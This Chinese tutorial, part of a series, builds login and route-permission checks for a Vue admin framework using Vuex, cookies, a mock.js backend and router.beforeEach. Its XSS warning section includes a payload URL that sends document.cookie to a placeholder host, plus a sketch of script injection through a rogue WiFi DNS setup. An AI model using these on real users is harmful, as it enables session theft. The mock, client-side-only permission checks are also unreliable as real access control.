一步步帶你做vue後臺管理框架(三)——登錄功能
系列教程《一步步帶你做vue後臺管理框架》第三課
github地址:vue-framework-wz
線上體驗地址:立即體驗
《一步步帶你做vue後臺管理框架》第一課:介紹框架
《一步步帶你做vue後臺管理框架》第二課:上手使用
認證又稱“驗證”、“鑒權”,是指通過一定的手段,完成對用戶身份的確認。身份驗證的方法有很多,基本上可分為:基於共享密鑰的身份驗證、基於生物學特征的身份驗證和基於公開密鑰加密算法的身份驗證。
登錄鑒權功能是後臺管理項目的基本需求,登錄控制,權限分配,這些都是很普遍的功能。 在框架中已經做好了這部分的工作,我們來了解一下是怎麽做的,對以後在框架的基礎上做改進是有很大的幫助的。
在此之前思考過很多種方法去做登錄功能,一種比較靠譜的方法是用一個Node服務端,利用Node+express+passport的技術棧
Passport項目是一個基於Nodejs的認證中間件,支持本地登錄和第三方賬號登錄驗證。Passport目的只是為了“登陸認證”,因此,代碼幹凈,易維護,可以方便地集成到其他的應用中。
Web應用一般有2種登陸認證的形式:
-
- 用戶名和密碼認證登陸
- OAuth認證登陸
Passport可以根據應用程序的特點,配置不同的認證機制。
項目網站:http://passportjs.org/
Passport是十分強大的,這個技術棧也是非常靠譜的,但是我們就一個純前端框架,需要再做一個Node的服務端嗎?維護起來多麻煩,況且違背了Unix哲學的‘簡單原則‘----盡量用簡單的方法解決問題----是‘Unix哲學‘的根本原則
既然這樣不太好,那就使用單頁應用強大的路由來做登錄。
如果對vue-router還不熟悉的同學一定要找尤大大課後開小竈了,官方文檔:vue-router
截取一段介紹
你可以使用 router.beforeEach
註冊一個全局的 before
鉤子:
const router = new VueRouter({ ... }) router.beforeEach((to, from, next) => { // ... })
當一個導航觸發時,全局的 before
每個鉤子方法接收三個參數:
-
-
to: Route
: 即將要進入的目標 路由對象 -
from: Route
: 當前導航正要離開的路由 -
next: Function
: 一定要調用該方法來 resolve 這個鉤子。執行效果依賴next
方法的調用參數。-
next()
: 進行管道中的下一個鉤子。如果全部鉤子執行完了,則導航的狀態就是 confirmed (確認的)。 -
next(false)
: 中斷當前的導航。如果瀏覽器的 URL 改變了(可能是用戶手動或者瀏覽器後退按鈕),那麽 URL 地址會重置到from
路由對應的地址。 -
next(‘/‘)
或者next({ path: ‘/‘ })
: 跳轉到一個不同的地址。當前的導航被中斷,然後進行一個新的導航。
-
-
確保要調用 next
方法,否則鉤子就不會被 resolved。
所以wz框架采用的是攔截導航,判斷登錄與否和是否有權限,讓它完成繼續跳轉或重定向到登錄界面。
這篇教程分為兩部分一部分講登錄,另一部分講權限驗證,因為篇幅太長所以需要用兩篇來寫。
登錄流程是在客戶端發送賬號密碼到服務端,服務端驗證成功後返回token存儲用戶的權限,前端用Cookie把token存儲在本地,在路由跳轉(router.beforeEach)中判斷是否存在token,另外前端可以通過token請求服務端獲取userInfo,在vuex中存儲著用戶的信息(用戶名,頭像,註冊時間等等)。
權限控制就是在路由跳轉(router.beforeEach)中判斷token中的權限和要去往(to)頁面的路由信息(router meta)中配置的權限是否匹配,同時我們的側邊欄也是根據權限動態生成的,當所登錄的賬號沒有權限訪問時,就不顯示在側邊欄中(例如訪客登錄就無法看到編輯器的側邊欄選項),這樣用戶既看不到側邊欄選項,又無法直接訪問到,雙重控制更安全。
登錄界面只有兩個輸入框,因為不是對外網站所以就沒做註冊功能。
首先來看登錄界面login.vue的邏輯。
src/views/login/index.vue
使用了iview的form表單,autoComplete屬性是自動填充默認值到輸入框裏,這裏是用戶名[email protected],
@keyup.enter.native="handleLogin"屬性,當按下enter鍵時會自動觸發handleLogin函數,不需要再點擊登錄按鈕,符合日常登錄習慣。
當輸入賬號密碼點擊登錄按鈕會觸發handleLogin函數。
其中的邏輯是,獲取頁面表單中的數據(賬號密碼)通過表格validate驗證正確性,依照的規範就是我們在data屬性中定義的。
data() { const validateEmail = (rule, value, callback) => { if (!isWscnEmail(value)) { //export function isWscnEmail(str) { //const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i; //return reg.test(str.trim()); //} callback(new Error(‘請輸入正確的合法郵箱‘)); } else { callback(); } }; const validatePass = (rule, value, callback) => { if (value.length < 6) { callback(new Error(‘密碼不能小於6位‘)); } else { callback(); } }; return { loginForm: { email: ‘[email protected]‘, password: ‘‘ }, loginRules: { email: [ { required: true, trigger: ‘blur‘, validator: validateEmail } ], password: [ { required: true, trigger: ‘blur‘, validator: validatePass } ] }, loading: false, showDialog: false } },
賬號密碼必須填寫,密碼不能小於6位,賬號必須是以wz.com結尾的電子郵箱地址, 或者可以定義更嚴密的規範。 如果不遵守制定的規範,將會無法登陸。
千萬不要相信用戶的輸入!千萬不要相信用戶的輸入!千萬不要相信用戶的輸入!
除非你想遭受XSS攻擊。
如果有同學還不了解什麽是XSS攻擊,那麽一定要趕快去了解。
下面敲黑板了!劃重點!
XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種類型的漏洞由於被黑客用來編寫危害性更大的網絡釣魚(Phishing)攻擊而變得廣為人知。對於跨站腳本攻擊,黑客界共識是:跨站腳本攻擊是新型的“緩沖區溢出攻擊“,而JavaScript是新型的“ShellCode”。
其重點是“跨域”和“客戶端執行”。有人將XSS攻擊分為三種,分別是:
1. Reflected XSS(基於反射的XSS攻擊)
2. Stored XSS(基於存儲的XSS攻擊)
3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)
Reflected XSS
基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。
例子:
1. 做個假設,在淘寶搜索書籍,搜不到書的時候顯示提交的名稱。
2. 在搜索框搜索內容,填入“<script>alert(‘handsome boy‘)</script>”, 點擊搜索。
3. 當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。
4. 進而可以構造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:
http://www.amazon.cn/search?name=<script>document.location=‘http://xxx/get?cookie=‘+document.cookie</script>
Stored XSS
基於存儲的XSS攻擊,是通過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每個訪問該帖子/文章的人就會觸發執行。
例子:
1. 發一篇文章,裏面包含了惡意腳本
今天天氣不錯啊!<script>alert(‘handsome boy‘)</script>
2. 後端沒有對文章進行過濾,直接保存文章內容到數據庫。
3. 當其他看這篇文章的時候,包含的惡意腳本就會執行。
PS:因為大部分文章是保存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。
DOM-based or local XSS
基於DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在於頁面,無須經過服務器返回就是基於本地的XSS攻擊。
例子:
1. 提供一個免費的wifi。
1. 開啟一個特殊的DNS服務,將所有域名都解析到我們的電腦上,並把Wifi的DHCP-DNS設置為我們的電腦IP。
2. 之後連上wifi的用戶打開任何網站,請求都將被我們截取到。我們根據http頭中的host字段來轉發到真正服務器上。
3. 收到服務器返回的數據之後,我們就可以實現網頁腳本的註入,並返回給用戶。
4. 當註入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的常用腳本庫。
所以一定要對用戶的輸入做一個過濾。否則後臺都被別人給黑了,老板不炒你魷魚才怪。
當我們輸入不正確的賬號密碼時將會自動驗證(輸入完立即驗證而不是等到點擊登錄才驗證),如果不正確將無法登錄。
如果符合驗證規則,則會觸發vuex中的LoginByEmail
src/store/modules/user.js
import { loginByEmail, logout, getInfo } from ‘api/login‘;
LoginByEmail({ commit }, userInfo) { const email = userInfo.email.trim(); return new Promise((resolve, reject) => { loginByEmail(email, userInfo.password).then(response => { const data = response.data; console.log(response.data); Cookies.set(‘Admin-Token‘, response.data.token); commit(‘SET_TOKEN‘, data.token); commit(‘SET_EMAIL‘, email); resolve(); }).catch(error => { reject(error); }); }); },
把email和password發送到服務器,接受返回來的數據,將token存入 Cookies,並觸發vuex SET_TOKEN及SET_EMAIL事件,存入到vuex全局狀態裏。
loginByEmail
src/api/login.js
export function loginByEmail(email, password) { const data = { email, password }; return fetch({ url: ‘/login/loginbyemail‘, method: ‘post‘, data }); }
發送fetch請求到指定的url。這裏的url是本地服務器的地址,本項目因為是純前端項目,所以使用了 mock.js。
有了這個插件,前端就可以獨立後端開發。
Mock.mock(/\/login\/loginbyemail/, ‘post‘, loginAPI.loginByEmail);
在mock.js中這行代碼截獲了所有/login/loginbyemail 路徑的請求,使用loginAPI.loginByEmail處理這個請求
const userMap = { admin: { role: [‘admin‘], token: ‘admin‘, introduction: ‘我是超級管理員‘, name: ‘Super Admin‘, uid: ‘001‘ }, editor: { role: [‘editor‘], token: ‘editor‘, introduction: ‘我是編輯‘, name: ‘Normal Editor‘, uid: ‘002‘ }, developer: { role: [‘develop‘], token: ‘develop‘, introduction: ‘我是開發‘, name: ‘工程師小王‘, uid: ‘003‘ } } export default { loginByEmail: config => { const { email } = JSON.parse(config.body); return userMap[email.split(‘@‘)[0]]; }, getInfo: config => { const { token } = param2Obj(config.url); if (userMap[token]) { return userMap[token]; } else { return Promise.reject(‘a‘); } }, logout: () => ‘success‘ };
可以看到loginByEmail的作用是把賬戶信息返回前端,例如一個用戶是管理員,就把匹配到的admin的賬戶信息返回去。
當得到了admin的賬戶信息,就把它存儲在cookie裏
Cookies.set(‘Admin-Token‘, response.data.token);
這樣一來在login.js中判斷token是否存在,如果存在token,就繼續路由跳轉,如果不存在,就跳轉到登錄界面。
src/login.js
router.beforeEach((to, from, next) => { NProgress.start() // 開啟Progress if (store.getters.token) { // 判斷是否有token,從vuex中取出 if (to.path === ‘/login‘) { next({ path: ‘/‘ }) } else { if (store.getters.roles.length === 0) { // 判斷當前用戶是否已拉取完user_info信息 store.dispatch(‘GetInfo‘).then(res => { // 拉取user_info const roles = res.data.role store.dispatch(‘GenerateRoutes‘, { roles }).then(() => { // 生成可訪問的路由表 router.addRoutes(store.getters.addRouters) // 動態添加可訪問路由表 next({ ...to }) // hack方法 確保addRoutes已完成 }) }).catch(() => { store.dispatch(‘FedLogOut‘).then(() => { next({ path: ‘/login‘ }) }) }) } else { // 沒有動態改變權限的需求可直接next() 刪除下方權限判斷 ↓ if (hasPermission(store.getters.roles, to.meta.role)) { next()// } else { next({ path: ‘/‘, query: { noGoBack: true }}) } // 可刪 ↑ } } } else { if (whiteList.indexOf(to.path) !== -1) { // 在免登錄白名單,直接進入 next() } else { next(‘/login‘) // 否則全部重定向到登錄頁 NProgress.done() // 在hash模式下 改變手動改變hash 重定向回來 不會觸發afterEach 暫時hack方案 ps:history模式下無問題,可刪除該行! } } })
src/store/modules/user.js
vuex中是這樣定義的,相當於直接Cookies.get(),為什麽要分開呢?顯然是為了模塊化,方便日後改動項目。
const user = { state: { user: ‘‘, status: ‘‘, email: ‘‘, code: ‘‘, uid: undefined, auth_type: ‘‘, token: Cookies.get(‘Admin-Token‘), name: ‘‘, avatar: ‘‘, introduction: ‘‘, roles: [], setting: { articlePlatform: [] } },
vuex會從cookies裏面取得token的值,這樣就能通過驗證去往路由的下個頁面。
接下來的教程講一下封裝UI組件、router、webpack、node命令行構建工具等內容。
希望大家看了這系列教程都能制作出自己的前端框架,從而在工作中得心應手。
如果喜歡就點個start鼓勵下作者吧。
github地址:vue-framework-wz
線上體驗地址:立即體驗
一步步帶你做vue後臺管理框架(三)——登錄功能